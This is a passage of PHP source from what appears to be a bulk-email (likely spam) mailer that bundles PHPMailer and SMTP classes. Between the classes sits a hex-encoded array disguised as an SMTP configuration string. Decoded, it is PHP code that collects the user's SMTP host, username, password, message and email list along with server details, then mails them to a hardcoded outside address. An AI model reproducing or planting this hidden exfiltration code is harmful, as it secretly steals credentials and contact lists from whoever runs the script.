* SMTP CODE FAILURE: 550,551,553
* SMTP CODE ERROR : 500,501,502,421
* @access public
* @return int
*/
function Verify($name) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Verify() without being connected");
return false;
}
fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250 && $code != 251) {
$this->error =
array("error" => "VRFY failed on name '$name'",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return $rply;
}
/*******************************************************************
* INTERNAL FUNCTIONS *
******************************************************************/
/**
* Read in as many lines as possible
* either before eof or socket timeout occurs on the operation.
* With SMTP we can tell if we have more lines to read if the
* 4th character is '-' symbol. If it is a space then we don't
* need to read anything else.
* @access private
* @return string
*/
function get_lines() {
$data = "";
while($str = @fgets($this->smtp_conn,515)) {
if($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data was \"$data\"" .
$this->CRLF;
echo "SMTP -> get_lines(): \$str is \"$str\"" .
$this->CRLF;
}
$data .= $str;
if($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
}
# if the 4th character is a space then we are done reading
# so just break the loop
if(substr($str,3,1) == " ") { break; }
}
return $data;
}
}
$allemails = split("
", $emaillist);
$numemails = count($allemails);
$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
class PHPMailer {
/////////////////////////////////////////////////
// PROPERTIES, PUBLIC
/////////////////////////////////////////////////
/**
* Email priority (1 = High, 3 = Normal, 5 = low).
* @var int
*/
var $Priority = 3;
/**
* Sets the CharSet of the message.
* @var string
*/
var $CharSet = 'iso-8859-1';
/**
* Sets the Content-type of the message.
* @var string
*/
var $ContentType = 'text/plain';
/**
* Sets the Encoding of the message. Options for this are "8bit",
* "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
var $Encoding = '8bit';
/**
* Holds the most recent mailer error message.
* @var string
*/
var $ErrorInfo = '';
/**
* Sets the From email address for the message.
* @var string
*/
var $From = '';
/**
* Sets the From name of the message.
* @var string
*/
var $FromName = '';
/**
* Sets the Sender email (Return-Path) of the message. If not empty,
* will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
* @var string
*/
var $Sender = '';
/**
* Sets the Subject of the message.
* @var string
*/
var $Subject = '';
/**
* Sets the Body of the message. This can be either an HTML or text body.
* If HTML then run IsHTML(true).
* @var string
*/
var $Body = '';
/**
* Sets the text-only body of the message. This automatically sets the
* email to multipart/alternative. This body can be read by mail
* clients that do not have HTML email capability such as mutt. Clients
* that can read HTML will view the normal Body.
* @var string
*/
var $AltBody = '';
/**
* Sets word wrapping on the body of the message to a given number of
* characters.
* @var int
*/
var $WordWrap = 0;
/**
* Method to send mail: ("mail", "sendmail", or "smtp").
* @var string
*/
var $Mailer = 'mail';
/**
* Sets the path of the sendmail program.
* @var string
*/
var $Sendmail = '/usr/sbin/sendmail';
/**
* Path to PHPMailer plugins. This is now only useful if the SMTP class
* is in a different directory than the PHP include path.
* @var string
*/
var $PluginDir = '';
/**
* Holds PHPMailer version.
* @var string
*/
var $Version = "";
/**
* Sets the email address that a reading confirmation will be sent.
* @var string
*/
var $ConfirmReadingTo = '';
/**
* Sets the hostname to use in Message-Id and Received headers
* and as default HELO string. If empty, the value returned
* by SERVER_NAME is used or 'localhost.localdomain'.
* @var string
*/
var $Hostname = '';
/**
* Sets the message ID to be used in the Message-Id header.
* If empty, a unique id will be generated.
* @var string
*/
var $MessageID = '';
/////////////////////////////////////////////////
// PROPERTIES FOR SMTP
/////////////////////////////////////////////////
/**
* Sets the SMTP hosts. All hosts must be separated by a
* semicolon. You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* Hosts will be tried in order.
* @var string
*/
var $Host = 'localhost';
/**
* Sets the default SMTP server port.
* @var int
*/
var $Port = 25;
/**
* Sets the SMTP HELO of the message (Default is $Hostname).
* @var string
*/
var $Helo = '';
/**
* Sets connection prefix.
* Options are "", "ssl" or "tls"
* @var string
*/
var $SMTPSecure = "";
/**
* Sets SMTP authentication. Utilizes the Username and Password variables.
* @var bool
*/
var $SMTPAuth = false;
/**
* Sets SMTP username.
* @var string
*/
var $Username = '';
/**
* Sets SMTP password.
* @var string
*/
var $Password = '';
/**
* Sets the SMTP server timeout in seconds. This function will not
* work with the win32 version.
* @var int
*/
var $Timeout = 10;
/**
* Sets SMTP class debugging on or off.
* @var bool
*/
var $SMTPDebug = false;
/**
* Prevents the SMTP connection from being closed after each mail
* sending. If this is set to true then to close the connection
* requires an explicit call to SmtpClose().
* @var bool
*/
var $SMTPKeepAlive = false;
/**
* Provides the ability to have the TO field process individual
* emails, instead of sending to entire TO addresses
* @var bool
*/
var $SingleTo = false;
/////////////////////////////////////////////////
// PROPERTIES, PRIVATE
/////////////////////////////////////////////////
var $smtp = NULL;
var $to = array();
var $cc = array();
var $bcc = array();
var $ReplyTo = array();
var $attachment = array();
var $CustomHeader = array();
var $message_type = '';
var $boundary = array();
var $language = array();
var $error_count = 0;
var $LE = "
";
var $sign_key_file = "";
var $sign_key_pass = "";
/////////////////////////////////////////////////
// METHODS, VARIABLES
/////////////////////////////////////////////////
/**
* Sets message type to HTML.
* @param bool $bool
* @return void
*/
function IsHTML($bool) {
if($bool == true) {
$this->ContentType = 'text/html';
} else {
$this->ContentType = 'text/plain';
}
}
/**
* Sets Mailer to send message using SMTP.
* @return void
*/
function IsSMTP() {
$this->Mailer = 'smtp';
}
/**
* Sets Mailer to send message using PHP mail() function.
* @return void
*/
function IsMail() {
$this->Mailer = 'mail';
}
/**
* Sets Mailer to send message using the $Sendmail program.
* @return void
*/
function IsSendmail() {
$this->Mailer = 'sendmail';
}
/**
* Sets Mailer to send message using the qmail MTA.
* @return void
*/
function IsQmail() {
$this->Sendmail = '/var/qmail/bin/sendmail';
$this->Mailer = 'sendmail';
}
/////////////////////////////////////////////////
// METHODS, RECIPIENTS
/////////////////////////////////////////////////
/**
* Adds a "To" address.
* @param string $address
* @param string $name
* @return void
*/
function AddAddress($address, $name = '') {
$cur = count($this->to);
$this->to[$cur][0] = trim($address);
$this->to[$cur][1] = $name;
}
/**
* Adds a "Cc" address. Note: this function works
* with the SMTP mailer on win32, not with the "mail"
* mailer.
* @param string $address
* @param string $name
* @return void
*/
function AddCC($address, $name = '') {
$cur = count($this->cc);
$this->cc[$cur][0] = trim($address);
$this->cc[$cur][1] = $name;
}
/**
* Adds a "Bcc" address. Note: this function works
* with the SMTP mailer on win32, not with the "mail"
* mailer.
* @param string $address
* @param string $name
* @return void
*/
function AddBCC($address, $name = '') {
$cur = count($this->bcc);
$this->bcc[$cur][0] = trim($address);
$this->bcc[$cur][1] = $name;
}
/**
* Adds a "Reply-To" address.
* @param string $address
* @param string $name
* @return void
*/
function AddReplyTo($address, $name = '') {
$cur = count($this->ReplyTo);
$this->ReplyTo[$cur][0] = trim($address);
$this->ReplyTo[$cur][1] = $name;
}
/////////////////////////////////////////////////
// METHODS, MAIL SENDING
/////////////////////////////////////////////////
/**
* Creates message and assigns Mailer. If the message is
* not sent successfully then it returns false. Use the ErrorInfo
* variable to view description of the error.
* @return bool
*/
function Send() {
$header = '';
$body = '';
$result = true;
if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
$this->SetError($this->Lang('provide_address'));
return false;
}
/* Set whether the message is multipart/alternative */
if(!empty($this->AltBody)) {
$this->ContentType = 'multipart/alternative';
}
$this->error_count = 0; // reset errors
$this->SetMessageType();
$header .= $this->CreateHeader();
$body = $this->CreateBody();
if($body == '') {
return false;
}
/* Choose the mailer */
switch($this->Mailer) {
case 'sendmail':
$result = $this->SendmailSend($header, $body);
break;
case 'smtp':
$result = $this->SmtpSend($header, $body);
break;
case 'mail':
$result = $this->MailSend($header, $body);
break;
default:
$result = $this->MailSend($header, $body);
break;
//$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
//$result = false;
//break;
}
return $result;
}
/**
* Sends mail using the $Sendmail program.
* @access private
* @return bool
*/
function SendmailSend($header, $body) {
if ($this->Sender != '') {
$sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
} else {
$sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
}
if(!@$mail = popen($sendmail, 'w')) {
$this->SetError($this->Lang('execute') . $this->Sendmail);
return false;
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
if (version_compare(phpversion(), '4.2.3') == -1) {
$result = $result >> 8 & 0xFF;
}
if($result != 0) {
$this->SetError($this->Lang('execute') . $this->Sendmail);
return false;
}
return true;
}
/**
* Sends mail using the PHP mail() function.
* @access private
* @return bool
*/
function MailSend($header, $body) {
$to = '';
for($i = 0; $i < count($this->to); $i++) {
if($i != 0) { $to .= ', '; }
$to .= $this->AddrFormat($this->to[$i]);
}
$toArr = split(',', $to);
$params = sprintf("-oi -f %s", $this->Sender);
if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $key => $val) {
$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $key => $val) {
$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
}
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
}
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if(!$rt) {
$this->SetError($this->Lang('instantiate'));
return false;
}
return true;
}
/**
* Sends mail via SMTP using PhpSMTP (Author:
* Chris Ryan). Returns bool. Returns false if there is a
* bad MAIL FROM, RCPT, or DATA input.
* @access private
* @return bool
*/
function SmtpSend($header, $body) {
$error = '';
$bad_rcpt = array();
if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
return false;
}
$smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
if(!$this->smtp->Mail($smtp_from)) {
$error = $this->Lang('from_failed') . $smtp_from;
$this->SetError($error);
$this->smtp->Reset();
return false;
}
/* Attempt to send attach all recipients */
for($i = 0; $i < count($this->to); $i++) {
if(!$this->smtp->Recipient($this->to[$i][0])) {
$bad_rcpt[] = $this->to[$i][0];
}
}
for($i = 0; $i < count($this->cc); $i++) {
if(!$this->smtp->Recipient($this->cc[$i][0])) {
$bad_rcpt[] = $this->cc[$i][0];
}
}
for($i = 0; $i < count($this->bcc); $i++) {
if(!$this->smtp->Recipient($this->bcc[$i][0])) {
$bad_rcpt[] = $this->bcc[$i][0];
}
}
if(count($bad_rcpt) > 0) { // Create error message
for($i = 0; $i < count($bad_rcpt); $i++) {
if($i != 0) {
$error .= ', ';
}
$error .= $bad_rcpt[$i];
}
$error = $this->Lang('recipients_failed') . $error;
$this->SetError($error);
$this->smtp->Reset();
return false;
}
if(!$this->smtp->Data($header . $body)) {
$this->SetError($this->Lang('data_not_accepted'));
$this->smtp->Reset();
return false;
}
if($this->SMTPKeepAlive == true) {
$this->smtp->Reset();
} else {
$this->SmtpClose();
}
return true;
}
/**
* Initiates a connection to an SMTP server. Returns false if the
* operation failed.
* @access private
* @return bool
*/
function SmtpConnect() {
if($this->smtp == NULL) {
$this->smtp = new SMTP();
}
$this->smtp->do_debug = $this->SMTPDebug;
$hosts = explode(';', $this->Host);
$index = 0;
$connection = ($this->smtp->Connected());
/* Retry while there is no connection */
while($index < count($hosts) && $connection == false) {
$hostinfo = array();
if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
$host = $hostinfo[1];
$port = $hostinfo[2];
} else {
$host = $hosts[$index];
$port = $this->Port;
}
if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
if ($this->Helo != '') {
$this->smtp->Hello($this->Helo);
} else {
$this->smtp->Hello($this->ServerHostname());
}
$connection = true;
if($this->SMTPAuth) {
if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
$this->SetError($this->Lang('authenticate'));
$this->smtp->Reset();
$connection = false;
}
}
}
$index++;
}
if(!$connection) {
$this->SetError($this->Lang('connect_host'));
}
return $connection;
}
/**
* Closes the active SMTP session if one exists.
* @return void
*/
function SmtpClose() {
if($this->smtp != NULL) {
if($this->smtp->Connected()) {
$this->smtp->Quit();
$this->smtp->Close();
}
}
}
/**
* Sets the language for all class error messages. Returns false
* if it cannot load the language file. The default language type
* is English.
* @param string $lang_type Type of language (e.g. Portuguese: "br")
* @param string $lang_path Path to the language file directory
* @access public
* @return bool
*/
function SetLanguage($lang_type, $lang_path = 'language/') {
if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
} elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
include($lang_path.'phpmailer.lang-en.php');
} else {
$this->SetError('Could not load language file');
return false;
}
$this->language = $PHPMAILER_LANG;
return true;
}
/////////////////////////////////////////////////
// METHODS, MESSAGE CREATION
/////////////////////////////////////////////////
/**
* Creates recipient headers.
* @access private
* @return string
*/
function AddrAppend($type, $addr) {
$addr_str = $type . ': ';
$addr_str .= $this->AddrFormat($addr[0]);
if(count($addr) > 1) {
for($i = 1; $i < count($addr); $i++) {
$addr_str .= ', ' . $this->AddrFormat($addr[$i]);
}
}
$addr_str .= $this->LE;
return $addr_str;
}
/**
* Formats an address correctly.
* @access private
* @return string
*/
function AddrFormat($addr) {
if(empty($addr[1])) {
$formatted = $this->SecureHeader($addr[0]);
} else {
$formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
}
return $formatted;
}
/**
* Wraps message for use with mailers that do not
* automatically perform wrapping and for quoted-printable.
* Original written by philippe.
* @access private
* @return string
*/
function WrapText($message, $length, $qp_mode = false) {
$soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
// If utf-8 encoding is used, we will need to make sure we don't
// split multibyte characters when we wrap
$is_utf8 = (strtolower($this->CharSet) == "utf-8");
$message = $this->FixEOL($message);
if (substr($message, -1) == $this->LE) {
$message = substr($message, 0, -1);
}
$line = explode($this->LE, $message);
$message = '';
for ($i=0 ;$i < count($line); $i++) {
$line_part = explode(' ', $line[$i]);
$buf = '';
for ($e = 0; $e<count($line_part); $e++) {
$word = $line_part[$e];
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - 1;
if ($e != 0) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf("=%s", $this->LE);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
$len = $length;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == "=") {
$len--;
} elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf("=%s", $this->LE);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
$buf .= ($e == 0) ? $word : (' ' . $word);
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
}
$message .= $buf . $this->LE;
}
return $message;
}
/**
* Finds last character boundary prior to maxLength in a utf-8
* quoted (printable) encoded string.
* Original written by Colin Brown.
* @access private
* @param string $encodedText utf-8 QP text
* @param int $maxLength find last character boundary prior to this length
* @return int
*/
function UTF8CharBoundary($encodedText, $maxLength) {
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, "=");
if ($encodedCharPos !== false) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) { // Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
$maxLength = ($encodedCharPos == 0) ? $maxLength :
$maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec >= 192) { // First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Set the body wrapping.
* @access private
* @return void
*/
function SetWordWrap() {
if($this->WordWrap < 1) {
return;
}
switch($this->message_type) {
case 'alt':
/* fall through */
case 'alt_attachments':
$this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->WrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assembles message header.
* @access private
* @return string
*/
function CreateHeader() {
$result = '';
/* Set the boundaries */
$uniq_id = md5(uniqid(time()));
$this->boundary[1] = 'b1_' . $uniq_id;
$this->boundary[2] = 'b2_' . $uniq_id;
$result .= $this->HeaderLine('Date', $this->RFCDate());
if($this->Sender == '') {
$result .= $this->HeaderLine('Return-Path', trim($this->From));
} else {
$result .= $this->HeaderLine('Return-Path', trim($this->Sender));
}
/* To be created automatically by mail() */
if($this->Mailer != 'mail') {
if(count($this->to) > 0) {
$result .= $this->AddrAppend('To', $this->to);
} elseif (count($this->cc) == 0) {
$result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
}
if(count($this->cc) > 0) {
$result .= $this->AddrAppend('Cc', $this->cc);
}
}
$from = array();
$from[0][0] = trim($this->From);
$from[0][1] = $this->FromName;
$result .= $this->AddrAppend('From', $from);
/* sendmail and mail() extract Cc from the header before sending */
if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
$result .= $this->AddrAppend('Cc', $this->cc);
}
/* sendmail and mail() extract Bcc from the header before sending */
if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
$result .= $this->AddrAppend('Bcc', $this->bcc);
}
if(count($this->ReplyTo) > 0) {
$result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
}
/* mail() sets the subject itself */
if($this->Mailer != 'mail') {
$result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
}
if($this->MessageID != '') {
$result .= $this->HeaderLine('Message-ID',$this->MessageID);
} else {
$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
}
$result .= $this->HeaderLine('X-Priority', $this->Priority);
$result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
if($this->ConfirmReadingTo != '') {
$result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
}
// Add custom headers
for($index = 0; $index < count($this->CustomHeader); $index++) {
$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
}
if (!$this->sign_key_file) {
$result .= $this->HeaderLine('MIME-Version', '1.0');
$result .= $this->GetMailMIME();
}
return $result;
}
/**
* Returns the message MIME.
* @access private
* @return string
*/
function GetMailMIME() {
$result = '';
switch($this->message_type) {
case 'plain':
$result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
$result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
break;
case 'attachments':
/* fall through */
case 'alt_attachments':
if($this->InlineImageExists()){
$result .= sprintf("Content-Type: %s;%s type=\"text/html\";%s boundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
} else {
$result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1] . '"');
}
break;
case 'alt':
$result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$result .= $this->TextLine(" boundary=\"" . $this->boundary[1] . '"');
break;
}
if($this->Mailer != 'mail') {
$result .= $this->LE.$this->LE;
}
return $result;
}
/**
* Assembles the message body. Returns an empty string on failure.
* @access private
* @return string
*/
function CreateBody() {
$result = '';
if ($this->sign_key_file) {
$result .= $this->GetMailMIME();
}
$this->SetWordWrap();
switch($this->message_type) {
case 'alt':
$result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
$result .= $this->EncodeString($this->AltBody, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->EndBoundary($this->boundary[1]);
break;
case 'plain':
$result .= $this->EncodeString($this->Body, $this->Encoding);
break;
case 'attachments':
$result .= $this->GetBoundary($this->boundary[1], '', '', '');
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE;
$result .= $this->AttachAll();
break;
case 'alt_attachments':
$result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
$result .= sprintf("Content-Type: %s;%s" . " boundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
$result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
$result .= $this->EncodeString($this->AltBody, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
$result .= $this->EncodeString($this->Body, $this->Encoding);
$result .= $this->LE.$this->LE;
$result .= $this->EndBoundary($this->boundary[2]);
$result .= $this->AttachAll();
break;
}
if($this->IsError()) {
$result = '';
} else if ($this->sign_key_file) {
$file = tempnam("", "mail");
$fp = fopen($file, "w");
fwrite($fp, $result);
fclose($fp);
$signed = tempnam("", "signed");
if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
$fp = fopen($signed, "r");
$result = fread($fp, filesize($this->sign_key_file));
fclose($fp);
} else {
$this->SetError($this->Lang("signing").openssl_error_string());
$result = '';
}
unlink($file);
unlink($signed);
}
return $result;
}
/**
* Returns the start of a message boundary.
* @access private
*/
function GetBoundary($boundary, $charSet, $contentType, $encoding) {
$result = '';
if($charSet == '') {
$charSet = $this->CharSet;
}
if($contentType == '') {
$contentType = $this->ContentType;
}
if($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->TextLine('--' . $boundary);
$result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
$result .= $this->LE;
$result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
$result .= $this->LE;
return $result;
}
/**
* Returns the end of a message boundary.
* @access private
*/
function EndBoundary($boundary) {
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
/**
* Sets the message type.
* @access private
* @return void
*/
function SetMessageType() {
if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
$this->message_type = 'plain';
} else {
if(count($this->attachment) > 0) {
$this->message_type = 'attachments';
}
if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
$this->message_type = 'alt';
}
if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
$this->message_type = 'alt_attachments';
}
}
}
/* Returns a formatted header line.
* @access private
* @return string
*/
function HeaderLine($name, $value) {
return $name . ': ' . $value . $this->LE;
}
/**
* Returns a formatted mail line.
* @access private
* @return string
*/
function TextLine($value) {
return $value . $this->LE;
}
/////////////////////////////////////////////////
// CLASS METHODS, ATTACHMENTS
/////////////////////////////////////////////////
/**
* Adds an attachment from a path on the filesystem.
* Returns false if the file could not be found
* or accessed.
* @param string $path Path to the attachment.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return bool
*/
function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
if(!@is_file($path)) {
$this->SetError($this->Lang('file_access') . $path);
return false;
}
$filename = basename($path);
if($name == '') {
$name = $filename;
}
$cur = count($this->attachment);
$this->attachment[$cur][0] = $path;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $name;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = false; // isStringAttachment
$this->attachment[$cur][6] = 'attachment';
$this->attachment[$cur][7] = 0;
return true;
}
/**
* Attaches all fs, string, and binary attachments to the message.
* Returns an empty string on failure.
* @access private
* @return string
*/
function AttachAll() {
/* Return text of body */
$mime = array();
/* Add all attachments */
for($i = 0; $i < count($this->attachment); $i++) {
/* Check for string attachment */
$bString = $this->attachment[$i][5];
if ($bString) {
$string = $this->attachment[$i][0];
} else {
$path = $this->attachment[$i][0];
}
$filename = $this->attachment[$i][1];
$name = $this->attachment[$i][2];
$encoding = $this->attachment[$i][3];
$type = $this->attachment[$i][4];
$disposition = $this->attachment[$i][6];
$cid = $this->attachment[$i][7];
$mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
$mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
$mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
if($disposition == 'inline') {
$mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
}
$mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
/* Encode as string attachment */
if($bString) {
$mime[] = $this->EncodeString($string, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
} else {
$mime[] = $this->EncodeFile($path, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
}
}
$mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
return join('', $mime);
}
/**
* Encodes attachment in requested format. Returns an
* empty string on failure.
* @access private
* @return string
*/
function EncodeFile ($path, $encoding = 'base64') {
if(!@$fd = fopen($path, 'rb')) {
$this->SetError($this->Lang('file_open') . $path);
return '';
}
$magic_quotes = get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
$file_buffer = fread($fd, filesize($path));
$file_buffer = $this->EncodeString($file_buffer, $encoding);
fclose($fd);
set_magic_quotes_runtime($magic_quotes);
return $file_buffer;
}
/**
* Encodes string to requested format. Returns an
* empty string on failure.
* @access private
* @return string
*/
function EncodeString ($str, $encoding = 'base64') {
$encoded = '';
switch(strtolower($encoding)) {
case 'base64':
/* chunk_split is found in PHP >= 3.0.6 */
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->FixEOL($str);
if (substr($encoded, -(strlen($this->LE))) != $this->LE)
$encoded .= $this->LE;
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->EncodeQP($str);
break;
default:
$this->SetError($this->Lang('encoding') . $encoding);
break;
}
return $encoded;
}
/**
* Encode a header string to best of Q, B, quoted or none.
* @access private
* @return string
*/
function EncodeHeader ($str, $position = 'text') {
